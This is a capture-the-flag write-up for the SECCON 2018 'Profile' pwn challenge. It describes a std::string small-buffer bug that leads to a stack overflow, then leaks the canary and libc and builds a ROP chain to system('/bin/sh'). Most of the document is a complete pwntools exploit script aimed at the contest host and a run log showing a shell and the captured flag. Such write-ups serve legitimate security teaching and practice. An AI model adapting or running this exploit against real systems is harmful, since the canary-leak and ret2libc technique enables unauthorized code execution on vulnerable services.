[Pwn] Seccon 2018 - Profile

Profile
255
64 Solves
Host: profile.pwn.seccon.jp
Port: 28553
profile_e814c1a78e80ed250c17e94585224b3f3be9d383
libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253

We have a 64 bit binary, we can start by checking it’s security with checksec:

1
2
3
4
5
6
7
$ checksec profile_e814c1a78e80ed250c17e94585224b3f3be9d383 
[*] '/ctf/work/ctf/seccon2018/pwn/profile/profile_e814c1a78e80ed250c17e94585224b3f3be9d383'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

ELF protections and how to bypass them:

NX (Non-executable stack) this can be circumvented using ROP (Return oriented programming).

Partial RELRO makes almost no difference, other than it forces the GOT to come before the BSS in memory, eliminating the risk of a buffer overflows on a global variable overwriting GOT entries.

Stack Canary random value positioned just before the saved ebp and the return address, if this value is somehow changed for example with a buffer overflow, the program throws an exception preventing an attack, one way to bypass this is by finding a way to leak addresses from the stack , the value we want is obviously the canary itself.

Finding a way to leak addresses

Resuming a little bit what the program does, we can create a profile with the specific fields name, age and message, later on we are presented a menu where we can update our message, print our profile and exit.

The profile creation part in the beginning doesn’t seem to have any kind of vulnerability, the strings are being created with std::string which is being defined using the std::basic_string class template, which has three template parameters, on ida a std::string shows up like this:

1
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v14, argv);

Nothing seems wrong in here, we have a lot of string declarations with std::string, the input reading from the user cin class from c++ which is fine against overflows.

The only thing left now is the methods of the class profile Profile::update_msg and Profile::show, so just by reading the names of this methods we can already deduce what is going to happen, update_msg is probably where we are going to find some kind of overflow (receives user input to update profile msg), and on show is probably where we are going to leak addresses from memory, because it involves printing fields from our class object profile.

Profile::update_msg

Once again std::string is being used, one particular optimization of the std::string object is when receives small strings it creates small buffer, which saves dynamic allocations. Which means, when small strings are passed to the constructor (len < 16) it string is stored in the stack instead of allocating on the heap, we can verify this easily if we create a c++ program and modify the new constructor to print some debugging :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <cstdlib>
#include <iostream>
#include <string>

// replace operator new and delete to log allocations
void* operator new(std::size_t n) {
std::cout << "[Allocating " << n << " bytes]";
return malloc(n);
}
void operator delete(void* p) throw() {
free(p);
}

int main() {
for (size_t i = 0; i < 24; ++i) {
std::cout << i << ": " << std::string(i, '=') << std::endl;
}
}

The output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:
1: =
2: ==
3: ===
4: ====
5: =====
6: ======
7: =======
8: ========
9: =========
10: ==========
11: ===========
12: ============
13: =============
14: ==============
15: ===============
[Allocating 32 bytes]16: ================
[Allocating 32 bytes]17: =================
[Allocating 32 bytes]18: ==================
[Allocating 32 bytes]19: ===================
[Allocating 32 bytes]20: ====================
[Allocating 32 bytes]21: =====================
[Allocating 32 bytes]22: ======================
[Allocating 32 bytes]23: =======================

Now looking at the code right after the declaration of std:string a function named MALLOC_USABLE_SIZE according to the man pages it says it obtains size of block of memory allocated from heap , but what happens if nothing we pass a pointer from the stack? the unexpected will happen this function will return -8 (0xfffffffffffffff8), this value won’t be interpreted as negative but as a very high number because the variables are declared as unsigned ints, this will later be passed to the stop loop condition of getn function, entering into a infinite loop and only stops when a new line (0xa) is found which will lead to a buffer overflow.

UpdateMessage function

getn function

On GDB after MALLOC_USABLE_SIZE, the value is returned into rax

Now if we do some testing to check what is in the stack after we use update message with 8‘A’ and 8‘B’:

The values from the stack

Some gdb commands that might help you finding the stack canary and ret addr

Leaking the libc is easy, we just need to set a got address to leak it, but how do we leak the canary? We need to find a way to leak an address from the stack, having this we can calculate its offset to the canary address, but how do we do this? we can take advantage of the fact that we have a large part of the address of the pointer to profile.name, if we only modify the last byte of the pointer of profile.name and we just need to keep iterating from 0x00 to 0xff until we reach the address of the string that we inserted 0x4141414141414141, after that it is a matter of only adding another 0x10 and we can expose that address of the stack, getting this we just need to do the difference between this address and the canary.

The leaked values will show up after “Name: “, because we are changing the value of the pointer to profile.name in the stack! with this if we print the profile, the profile.name will print the pointer we changed…

Part of the code to calculate this offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

def getConn():
#d = os.environ
#d['LD_PRELOAD'] = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
return process(filename, env={'LD_PRELOAD':'./libc-2.23'}) if local else remote(host, port)

def leakAddr(addr, bytes_to_read=6):
r.recv()
r.sendline('1')
r.recv()
r.sendline('A'*8 + 'B'*8 + addr)
r.recv()
r.sendline('2')
r.recvuntil('Name : ')
return u64(r.recv(bytes_to_read).ljust(8, '\x00'))

context.terminal = ['tmux', 'new-window']
filename = './profile_e814c1a78e80ed250c17e94585224b3f3be9d383'
host = 'profile.pwn.seccon.jp'
port = 28553
local = True

binary = ELF(filename)
libc = ELF('libc-2.23')

POPRET = 0x401713

LEAKED_ADDR = 0x0
i = 0
r = getConn()
gdb.attach(r, '''
b *0x4011e1
b *0x4013C9
b *0x40148D
''')

r.recv()
r.sendline('2'*15)
r.recv()
r.sendline('3')
r.recv()
r.sendline('4')
log.info('----------Searching for the offset-------------')
while LEAKED_ADDR != 0x414141414141 and i < 0xff:
LEAKED_ADDR = leakAddr(p8(i))
log.info("LEAKED ADDR 0x%x 0x%x" % (LEAKED_ADDR,i))
i += 0x10

if i > 0xff:
print 'Unluckly couldn\'t find the string position'
r.close()
exit(0)

LEAKED_ADDR = leakAddr(p8(i))
log.info('------------------Offset Found-----------------')

CANARY_ADDR = LEAKED_ADDR+0x28
log.info("LEAKED ADDR 0x%x" % LEAKED_ADDR)
log.info("CANARY ADDR 0x%x" % (CANARY_ADDR))
CANARY = leakAddr(p64(CANARY_ADDR) ,bytes_to_read=8)
log.info("Canary 0x%x" % CANARY)

Leaking libc

Now that we have the stack canary we can easily leak libc, we don’t even need to calculate offsets we just need to use the global offset table, we can use the GOT entry of read, and then calculate the offsets with the help of pwntools since we are loading the libc file in the beginning:

1
2
3
4
5
6
7
8
9
READ = leakAddr(p64(binary.got['read']))
LIBCBASE = READ - libc.symbols['read']
SYSTEM = LIBCBASE + libc.symbols['system']
BINSH = LIBCBASE + libc.search('/bin/sh\x00').next()
EXIT = LIBCBASE + libc.symbols['exit']
log.info("READ 0x%x" % READ)
log.info("LIBC 0x%x" % LIBCBASE)
log.info("SYSTEM 0x%x" % SYSTEM)
log.info("BINSH 0x%x" % BINSH)

Now that we have all the libc we just need to build our rop chain, we need to find a gadget that puts /bin/sh into rdi, we can do this with POP RDI ; RET which will get the value in the top of the stack into RDI, after this we can call system, for a more detailed description you can read this write up on about to write a ropchain (it’s a little different because on this link the binary is statically linked instead of dynamically).

1
2
3
4
5
6
7
ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(BINSH) # BINSH ADDRESS ARG[1]
ropchain += p64(SYSTEM) # SYSTEM function "call"

ropchain += p64(EXIT) # EXIT Actually useless you don't really
# need to exit, but I usually like to exit without an error

And now that we have everything we can calculate the final offsets:

The rest of the code:

1
2
3
4
5
6
7
r.sendline('1')
r.recv()
r.sendline(p64(0) * 7 + p64(CANARY) + p64(0)*3 + ropchain)
r.recv()
r.sendline('0')
r.recv()
r.interactive()

The full code exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

def getConn():
#d = os.environ
#d['LD_PRELOAD'] = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
return process(filename, env={'LD_PRELOAD':'./libc-2.23'}) if local else remote(host, port)

def leakAddr(addr, bytes_to_read=6):
r.recv()
r.sendline('1')
r.recv()
r.sendline('A'*8 + 'B'*8 + addr)
r.recv()
r.sendline('2')
r.recvuntil('Name : ')
return u64(r.recv(bytes_to_read).ljust(8, '\x00'))

context.terminal = ['tmux', 'new-window']
filename = './profile_e814c1a78e80ed250c17e94585224b3f3be9d383'
host = 'profile.pwn.seccon.jp'
port = 28553
local = False

binary = ELF(filename)
libc = ELF('libc-2.23')

POPRET = 0x401713

LEAKED_ADDR = 0x0
i = 0
r = getConn()
#gdb.attach(r, '''
# b *0x4011e1
# b *0x4013C9
# b *0x40148D
# ''')

r.recv()
r.sendline('2'*15)
r.recv()
r.sendline('3')
r.recv()
r.sendline('4')
log.info('----------Searching for the offset-------------')
while LEAKED_ADDR != 0x414141414141 and i < 0xff:
LEAKED_ADDR = leakAddr(p8(i))
log.info("LEAKED ADDR 0x%x 0x%x" % (LEAKED_ADDR,i))
i += 0x10

if i > 0xff:
print 'Unluckly couldn\'t find the string position'
r.close()
exit(0)

LEAKED_ADDR = leakAddr(p8(i))
log.info('------------------Offset Found-----------------')

CANARY_ADDR = LEAKED_ADDR+0x28
log.info("LEAKED ADDR 0x%x" % LEAKED_ADDR)
log.info("CANARY ADDR 0x%x" % (CANARY_ADDR))

CANARY = leakAddr(p64(CANARY_ADDR) ,bytes_to_read=8)
log.info("Canary 0x%x" % CANARY)

READ = leakAddr(p64(binary.got['read']))
LIBCBASE = READ - libc.symbols['read']
SYSTEM = LIBCBASE + libc.symbols['system']
BINSH = LIBCBASE + libc.search('/bin/sh\x00').next()
EXIT = LIBCBASE + libc.symbols['exit']
log.info("READ 0x%x" % READ)
log.info("LIBC 0x%x" % LIBCBASE)
log.info("SYSTEM 0x%x" % SYSTEM)
log.info("BINSH 0x%x" % BINSH)

r.recv()

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(BINSH) # BINSH ADDRESS ARG[1]
ropchain += p64(SYSTEM) # SYSTEM function "call"

ropchain += p64(EXIT) # EXIT
r.sendline('1')
r.recv()
r.sendline(p64(0) * 7 + p64(CANARY) + p64(0)*3 + ropchain)
r.recv()
r.sendline('0')
r.recv()
r.interactive()

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ python profile.py 
[*] '/ctf/work/ctf/seccon2018/pwn/profile/profile_e814c1a78e80ed250c17e94585224b3f3be9d383'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/ctf/work/ctf/seccon2018/pwn/profile/libc-2.23'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to profile.pwn.seccon.jp on port 28553: Done
[*] ----------Searching for the offset-------------
[*] LEAKED ADDR 0x323232320034 0x0
[*] LEAKED ADDR 0x7ffc15b74720 0x10
[*] LEAKED ADDR 0x323232323232 0x20
[*] LEAKED ADDR 0x7ffc15b74740 0x30
[*] LEAKED ADDR 0x600034 0x40
[*] LEAKED ADDR 0x7ffc15b74760 0x50
[*] LEAKED ADDR 0x414141414141 0x60
[*] ------------------Offset Found-----------------
[*] LEAKED ADDR 0x7ffc15b74770
[*] CANARY ADDR 0x7ffc15b74798
[*] Canary 0x16e9ecb89abcf100
[*] READ 0x7f2e75ce7250
[*] LIBC 0x7f2e75bf0000
[*] SYSTEM 0x7f2e75c35390
[*] BINSH 0x7f2e75d7cd57
[*] Switching to interactive mode
Wrong input...
$ ls
flag.txt
profile
$ cat flag.txt
SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}